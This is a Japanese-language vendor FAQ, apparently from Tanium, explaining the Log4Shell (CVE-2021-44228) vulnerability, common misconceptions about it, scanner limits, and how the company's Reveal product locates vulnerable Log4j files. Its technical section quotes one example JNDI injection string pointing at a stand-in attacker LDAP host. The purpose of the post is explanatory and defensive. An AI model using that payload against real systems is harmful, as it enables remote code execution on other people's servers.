The IT world was left reeling at the end of 2021 after the disclosure of a critical vulnerability in Log4j, a common Java-based logging utility maintained by the Apache Software Foundation. 業界以外ではほとんど知られていませんが、世界中で数千ものプログラムに、さまざまなオペレーティングシステム上で採用されています。 CVSSスコアが 10.0であるこの製品で発見された最初のバグ（“Log4Shell”）は、脆弱性として考えられる限り最悪のものです。 実際、この脆弱性が公表されてから 72 時間以内に、 Log4j は80万件以上の攻撃の標的となりました。
この脆弱性に関する報道が殺到した結果、Taniumの専門家たちには質問が殺到しています。 「 Log4Shell」とは何ですか？ これはどのように悪用されるのでしょうか？ では、組織はどのように対応すべきでしょうか？ 時間を節約し、世界中の組織が適切に対応し、被害を軽減できるよう支援するため、これまでに寄せられたよくある質問と、それに対する回答を以下にまとめました。
CVE-2021-44228 （Log4Shell）とは何でしょうか？
Log4Shell は、攻撃者がアプリケーションにログファイルへの書き込みを行わせることで、コードを実行させてしまうリモートコード実行（RCE）の脆弱性です。 アプリケーションのテキストフィールドに入力されたパラメータやその他のログ記録イベントはごく一般的であり、これがこの脆弱性がこれほど広範囲に及んでいる一因となっています。
この脆弱性のあるライブラリは、クライアントシステムにも存在している可能性があり、一般に公開されているWebアプリケーションに限ったことではありません。
技術的なこと
Log4j では、設計上、JNDI（Java Naming and Directory Interface）と呼ばれるAPIを通じて、メッセージに外部情報への参照を含めることが可能です。 JNDIの機能により、Lightweight Directory Access Protocol（LDAP）をはじめとする複数のプロトコルを介して、これらの外部参照にアクセスすることができます。
攻撃者が ${jndi:ldap://evil.com/bad} のような悪意を持って作成された文字列を送信すると、サーバーはそのメッセージを解釈して、LDAPサーバー（evil.com）に接続し、オブジェクト「bad」を要求することになります。 悪意のある攻撃者に制御されている evil.com サーバーは、その後、アプリケーションに対して悪意のある Java クラス（bad.class）を読み込むよう指示します。
脆弱性のあるバージョン Log4j が存在し、攻撃者がLDAPサーバーを制御している場合、「bad.class」には攻撃者が望むあらゆる命令が含まれる可能性があります。これにより、ランサムウェアからクリプトジャッキング、情報窃取に至るまで、極めて幅広い攻撃の可能性が生じることになります。
RCEに加え、脆弱性のあるバージョンではJNDI呼び出しの入力の検証が行われていないため、システム変数が列挙や情報漏洩の対象となる可能性があります。
ソフトウェアのサプライチェーンにおける脆弱性（StrutsやNPMなど）が増加しています。 Log4J は他と比べてどうでしょうか？
Log4J は、 と同様に、社内で構築・保守されているアプリケーションでない限り、組織が独自にパッチを適用できない脆弱性であるという点で似ています。
Log4J は他とは異なります（ ）。なぜなら、これはおそらく過去10年以上で私たちが確認した中で、影響範囲が最も広く、深刻度も最も高い脆弱性であり、そう簡単には解消されないからです。 これはあらゆる種類のオペレーティングシステムに影響を及ぼし、フリー／オープンソースソフトウェア、エンタープライズアプリケーション、クライアント、サーバー、IoTデバイスなど、ほぼあらゆる場所で発生する可能性があります。 この脆弱性はリモートから悪用され、ラテラルムーブメントに利用される可能性があり、その悪用を検知するにはシグネチャベースのルールに依存していますが、攻撃者はこのルールを常に回避しています。
各組織は、自社の資産構成の中で脆弱な部分を特定し、アプリケーションの所有者や開発者から関連資料を収集して、パッチや緩和策を確保し、それを大規模に展開することを余儀なくされてきました。
Log4jについて、よくある誤解にはどのようなものがありますか？
- パッチを当てるのは簡単です
- この影響は、インターネットに接続されているシステムにのみ及びます
- 組織は、この脆弱性のすべての発生箇所を独自に修正することができます
- インストール済みのアプリケーションの一覧を検索するだけで、それを特定するのに十分です
Taniumは、 Log4j 件のインスタンスを見つけるのにどのように役立つのでしょうか？
Log4Shell がこれほど危険な理由の一つは、Log4j が見つかりにくいことがあるからです。
組織の環境には、このライブラリを活用しているプログラムが何百もの規模でインストールされている場合があります。 この脆弱性は、アプリケーションで使用されているライブラリに存在するため、アプリケーション自体を修正することはできません。 彼らは、使用しているすべてのソフトウェアのベンダーが評価、修正、およびアップデートの提供を行うのを待たなければなりません。 さらに、インストール済みのアプリやCVEをスキャンしても、どのソフトウェアパッケージがこのライブラリを使用しているかという証拠は見つかりません。
Tanium Revealは、ファイルから情報を抽出できるという点で他に類を見ない機能を備えています。 圧縮されたライブラリ内の「manifest.mf」や「pom.xml」、あるいはその他の Log4j の存在を示す兆候を検出することができます。 このように、Tanium Revealは、ファイル名や拡張子にとどまらず、ファイルそのものを詳細に分析できる唯一のソリューションです。 CVE-2021-44228の場合、JARファイルの中に含まれるJARファイルの中に、さらにJARファイルが含まれている場合、その中に脆弱性のあるJARファイル（.JARファイル）がないか確認することができます。
Taniumおよび当社のパートナー企業は、他のツールでは検出されない、あるいは隠れている Log4j 件の事例をお客様にご提示することができます。 この問題に対処するため、新規および既存のお客様を対象に、この脆弱性の特定および修正に関する無料のサポートを提供しております。
Revealが一致の可能性のある対象を見つけた場合、組織はどのように対応すべきでしょうか？
Tanium Reveal では、パターンに一致するファイルが表示されますが、それが必ずしも脆弱性の確実な証拠というわけではありません。 RevealにおけるPHIまたはPIIの検証手法については、 、 、およびこちらののドキュメントでご確認いただけます。 バージョン Log4j の照合については、詳細な検証は必要ないかもしれません。
ただし、必要に応じて、「結果の表示」から迅速に次のアクションへと進み、不審なファイルがどの製品に由来するものかを確認し、そのベンダーの脆弱性を確認した上で、パッチを適用するか、あるいは削除するかを判断することができます。
Taniumには、さらに詳しく調査して、結果の真偽を特定するための複数のオプションが用意されています。 これらは実現可能な取り組みの提案ですが、すべてを網羅しているわけではありません。また、組織の環境や既存のワークフロー、方針、プロセスに大きく左右されることになります。
ここで重要なのは、これはインシデント対応というよりは、むしろ脅威の探索という状況であるという点です。 今後の対応は、影響を受けた組織の調査結果に大きく左右されることになります。 SANSでは、インシデント対応のための （PICERL）モデルに関する優れたチートシートを公開しています。 こちらをご覧ください： こちらです：。 このモデルによると、Tanium Reveal および Index は、「準備」および「特定」のステップに含まれます。
CISAのスキャナーはどのように役立つのでしょうか？
2021年12月21日において、CISAは、もともとfullhunt.ioによって開発されたオープンソースの「 Log4j Scanner」ツール（）のバージョンを公開しました。 このスキャナーは便利ですが、脆弱性のあるエンドポイントや、リスニング状態にあるアプリケーションが存在する場所に向けて初めて動作します。 システムの設定状況に関する推測に頼っているため、脆弱なエンドポイントを見逃してしまう可能性があります。
たとえ組織がこのツールを活用したいと考えていても、テスト対象とするエンドポイントの一覧をより明確にするためには、Tanium Reveal を使用すべきです。 また、このスキャナは、ディスク上やバックアップ内の脆弱性のある.JARファイル、あるいはスキャン実行時に実行されていない.JARファイルは検出しない点にもご留意ください。
さらに、このスキャナーには、脆弱性のあるアプリに対する緩和策を講じたり、更新されたパッチを適用したりする機能がありません。 これは、 Log4j の問題を解決するための取り組みを支援するもう一つの重要なツールですが、決定的な方法や包括的な方法として捉えるべきではありません。
脆弱性スキャンだけではなぜ効果が得られないのでしょうか？
- 定義の更新には時間がかかりますし、それらの定義はソフトウェアベンダーによる脆弱性の状況の開示に依存しています
- これは、多くの場合、既知の脆弱性を持つアプリケーションに基づいています。 Log4jも、他のライブラリと同様、確実に特定するためには、環境内のソフトウェアの各層を徹底的に調査する必要があります。
- 多くの脆弱性スキャナーは、脆弱性を悪用する「スプレー・アンド・プレイ」という手法を採用しています。 これは部分的にしか効果がありません。 これには、スキャン対象のポートで、脆弱性のあるサービスがリスニングしている必要があります。 アプリケーションがディスク上で休止状態にある場合、それらのスキャナーではそれを検知できません。
「 Log4j 」の脆弱性を軽減できたかどうかは、どのように判断すればよいのでしょうか？
ソフトウェアのすべてのインスタンスに対してすべてのパッチを適用し終えたら――とはいえ、その頃には、対処すべき新たな脆弱性が必然的に出現していることでしょう。 セキュリティは、単なるチェックリストや「完了」と印を付けて済ませられるタスクではなく、一連のプロセスとして捉えることが重要です。 脅威の状況は、今もなお変化し続けています。 ネットワークに新しい資産が追加されるたびに、また研究者が新しいバグを発見するたびに、やるべきことが増えていきます。 だからこそ、状況に応じて柔軟に対応できる能力が極めて重要となります。 「不可欠」という理由で、時代遅れのアプリをそのまま放置してしまうという風土を変えていきましょう。 私たちが受け入れるべきなのは変化であり、リスクではありません。 リスクの受容とは、変化に対応するための時間を確保するための戦略であり、永続的な状態ではありません。
感染したかどうかがわかるまで、どれくらいかかりますか？
組織はTanium Revealを数時間で導入でき、すぐに結果の収集を開始し、その情報を基に調査やハンティング戦略の方向性を転換することができます。
Tanium を使用して「 Log4j」の発見や是正を行う際、パートナーを活用することは可能でしょうか？
はい。 世界中のTaniumパートナーのほとんどは、すでに説明を受けており、 Log4j の調査や是正措置のあらゆる側面を支援するサービスを提供する準備が整っています。また、ツールの統合や合理化を通じて、セキュリティスタックをより最適化するお手伝いもいたします。
Revealには、他にどのようなお役に立てるでしょうか？
Tanium Reveal は、以下の方法で Log4j の特定と是正を支援します：
- 漏洩したパスワードの特定
- 動的なハンティングの実施
FTCによる「 Log4j」に関する警告について、どのような点に注意すべきでしょうか？
連邦取引委員会（FTC）は、 において、すべての企業がこの脆弱性をスキャンし、是正措置を講じるよう義務付ける要件を発表しました。これは、悪名高い のエクイファックス情報漏洩事件を引き起こしたApache Strutsのバグと同等か、それ以上に深刻なものであるためです。 FTCとCISAは、世間の注目を集めるような情報漏洩事件が発覚するまでは、時間稼ぎの状態にあることを認識しています。
世界的な組織は、すでに「 Log4Shell 」を通じて侵害されており、攻撃者が密かにネットワークを分析し、データを盗み出し、さらなる攻撃の準備を進めている可能性が高いです。 この脆弱性がもたらす真の影響が明らかになるまでには、まだ長い時間がかかるでしょう。
「 Log4j 」に関する の質問が他にもある場合、またはこの脆弱性の特定を支援する当社の無料サービスをご利用になりたい場合は、ぜひ今すぐお問い合わせください。
既存のお客様は、 にて、Taniumコミュニティの記事「 Log4j の問題の特定と軽減方法」に関する詳細情報をご覧いただけます。 この情報は、新しい情報が入り次第、定期的に更新されます。
